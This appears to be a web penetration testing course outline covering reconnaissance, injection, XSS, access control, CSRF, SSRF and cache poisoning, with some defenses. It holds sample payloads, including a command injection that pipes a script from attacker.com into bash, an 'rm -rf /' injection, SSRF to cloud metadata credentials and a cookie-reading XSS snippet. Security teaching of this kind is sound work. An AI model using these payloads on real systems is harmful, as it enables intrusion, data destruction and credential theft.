• • Passive Reconnaissance

    • OSINT, Google Dorks, WHOIS, Shodan

  • Active Reconnaissance

    • Identifying technologies (Wappalyzer, WhatWeb)

    • Subdomain enumeration (Sublist3r, Amass)

  • Scanning & Fingerprinting

    • Nmap, Nikto for server and service enumeration

  • Directory & File Enumeration

    • Dirb, Gobuster for hidden files and endpoints

  • Analyzing Web Traffic

    • Intercepting requests with Burp Suite

o HTTP/HTTPS: Requests, responses, methods (GET, POST, PUT, DELETE).

o Headers (Cookie, Authorization, Content-Type), status codes (200, 403,

500).

o Connection: HTTP is the foundation for all web interactions.

• Brute-Force & Credential Stuffing

  • Burp Suite Intruder, Hydra

• Session Management Flaws

  • Session fixation, insecure cookies

• Broken Access Controls

  • IDOR (Insecure Direct Object Reference)

• OAuth & JWT Attacks

  • Manipulating tokens for privilege escalation

Brute-force paths with Dirb (dirb http://target.com) or Gobuster.

o Find hidden files (e.g., /backup, /admin).

• Understanding SQL Injection

  • Manual exploitation (' OR 1=1 --)

• Automating SQL Injection

  • Using SQLmap to extract data

• Blind SQL Injection & Time-based Attacks

  • Boolean-based, time-based, out-of-band (OOB) attacks

• Bypassing Web Application Firewalls (WAFs)

  • Payload encoding and obfuscation

• • Types of XSS

    • Reflected, Stored, DOM-based

  • Stealing Cookies & Session Hijacking

    • <script>document.write(document.cookie)</script>

  • Using BeEF for Browser Exploitation

    • Hooking victims for further attacks

  • Defensive Measures

    • Output encoding, CSP (Content Security Policy)

• • Local File Inclusion (LFI)

    • /etc/passwd, log poisoning

  • Remote File Inclusion (RFI)

    • Injecting external scripts

  • Command Injection

    • Exploiting unsanitized inputs (; whoami)

  • File Upload Vulnerabilities

    • Bypassing extension filters (.php.jpg)

• • Cross-Site Request Forgery (CSRF)

    • Exploiting trust in authenticated sessions

  • Server-Side Request Forgery (SSRF)

    • Gaining access to internal resources

  • Insecure Deserialization

    • Exploiting serialized data for RCE

  • XML External Entity (XXE) Injection

    • Extracting sensitive data via XML payloads

• • Business Logic Bypass

    • Negative price manipulation, bypassing workflow restrictions

  • Web Cache Poisoning

    • Manipulating cache responses for persistence

  • Race Conditions & Timing Attacks

    • Exploiting concurrency issues

• • Objective: Exploit weak authentication mechanisms.

  • Tasks:

    • Brute-Force with Burp Intruder: Target login forms (e.g., admin:password123).

    • Default Credentials: Test combinations like admin:admin or guest:guest.

  •  

• Attacks

  • Brute-Forcing (Day 23):

    • Use Burp Intruder to test credentials (admin:password123).

    • Bypass rate limits with X-Forwarded-For spoofing.

  • Session Fixation (Day 24):

    • Set a session ID before login: http://site.com/login?sessionid=ATTACKER_SID.

  Defenses

  • Multi-Factor Authentication (MFA).

  • Rotate session IDs post-login.

Attacks

• IDOR: Change user_id=1 to user_id=2 to access other users’ data.

• Privilege Escalation: Manipulate admin flags (e.g., "is_admin":true in JSON requests).

Defenses

• Role-Based Access Control (RBAC): Enforce permissions server-side.

• UUIDs Instead of Incremental IDs: Use user_id=af3b50c2 instead of user_id=1.

• Objective: Bypass authorization checks.

• Tasks:

  • IDOR: Manipulate parameters (e.g., change user_id=1 to user_id=2).

  • Privilege Escalation: Access admin panels via forced browsing.

• Objective: Hijack user sessions.

• Tasks:

  • Session Fixation: Force users to use a pre-set session ID.

  • XSS + Cookie Theft: Use payloads from Day 19 to steal cookies.

Core Concept:
Exploits a browser’s automatic inclusion of session credentials (cookies) to perform unauthorized actions on behalf of an authenticated user.

Attack Mechanics:

1. Victim Flow:

   • User logs into bank.com (session cookie stored).

   • User visits attacker’s page containing a hidden form that auto-submits to bank.com/transfer.

   • Browser attaches session cookie, executing the transfer.

2. Critical Conditions:

   • No CSRF token validation.

   • Action requires only session cookies (no re-authentication).

Core Concept:
Forces a server to make HTTP requests to arbitrary domains/IPs, bypassing firewall restrictions.

Attack Scenarios:

1. Internal Network Access:

2. https://api.company.com/fetch?url=http://192.168.1.1/admin

   • Accesses internal admin panels.

3. Cloud Metadata Exploitation:

    

   http://vulnerable-app.com/load?url=http://169.254.169.254/latest/meta-data/  

   • Steals cloud credentials (AWS, Azure).

Core Concept:
Injects OS commands into application inputs by exploiting poor input sanitization.

Attack Patterns:

1. Classic Injection:

   • Input: 127.0.0.1; rm -rf / (Linux).

   • Result: Deletes server files.

2. Blind Injection:

   • Input: ping 127.0.0.1 && curl http://attacker.com/exploit.sh | bash

   • Result: Downloads and executes a malicious script.

Vulnerable Functions:

• System calls (exec(), popen() in PHP/Python).

• Shell commands (ping, nslookup).

Core Concept:
A malicious attacker manipulates a web cache (e.g., CDN, reverse proxy) to store and serve harmful content to users, leading to attacks like XSS, defacement, or credential theft.

How It Works

1. Cache Basics:

   • Caches store responses to reduce server load (e.g., for /homepage).

   • They reuse these responses for future requests to the same URL.

2. Poisoning Steps:

   • Step 1: Identify unkeyed inputs (e.g., X-Forwarded-Host headers) that influence cached responses.

   • Step 2: Trick the cache into storing a malicious version of a page:

      

     GET /homepage HTTP/1.1
     Host: example.com
     X-Forwarded-Host: attacker.com

   • Step 3: Users requesting /homepage receive the poisoned cached response (e.g., with a malicious script from attacker.com).

• • Writing a Professional Penetration Testing Report

    • Executive summary, methodology, PoCs

  • Bug Bounties & Responsible Disclosure

    • Platforms: HackerOne, Bugcrowd

  • Certifications & Career Paths

    • OSWE, eWPTX, CEH, GWAPT